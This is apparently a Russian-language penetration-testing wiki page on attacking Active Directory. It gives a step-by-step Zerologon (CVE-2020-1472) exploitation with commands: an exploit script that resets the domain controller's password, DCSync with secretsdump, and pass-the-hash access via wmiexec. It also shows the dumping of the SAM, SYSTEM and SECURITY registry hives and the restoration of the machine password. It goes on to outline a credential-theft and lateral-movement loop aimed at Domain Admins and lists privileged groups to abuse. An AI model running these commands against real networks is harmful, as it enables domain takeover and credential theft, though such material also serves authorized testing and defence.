??????????

Примеры уязвимостей

- PrinterNightmare
- ZeroLogon
- SamAccountNameSpoofing
- MS14-068
- Drop The MIC (Во взаимодействии DC с DC) и пр. вплоть до MS17-010

Zerologon

Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта тут

Эксплуатация

1. Сброс пароля при помощи эксплойта:

```
python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1
```

2. Реализация атаки DCSync с пустым паролем:

```
python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1'
```

3. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py:

```
python3 wmiexec.py -hashes <hash-value> 'domain.local/DC01$@10.10.0.1'
```

После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля.

4. Создаем и скачиваем резервные копии реестра для восстановления пароля DC:

```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
```

```
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
```

5. Извлекаем пароль из извлеченных копий реестра:

```
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```

6. Получаем пароль машины контроллера домена в строке:
$MACHINE.ACC:plain_password_hex:b4d1....

7. И инсталлируем хеш машины обратно:

```
python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1….
```

Кража учетных данных, токенов и сессий привилегированных учетных записей

Распространен в сетях, незрелых с точки зрения ИБ.

Пример

Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System:

1. Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины.
2. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр.
3. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора.
4. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей.
5. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins.
6. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync.

Привилегированные группы

Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки.

- Group Policy Creators Owners

- Account Operators
- Schema Admins
- Event Log Readers
- Backup Operators
- Remote Management Users
- Server Operators
- DnsAdmins

Подробности использования

Revision #2
Created 11 October 2025 17:16:40 by Admin
Updated 12 October 2025 12:46:20 by Admin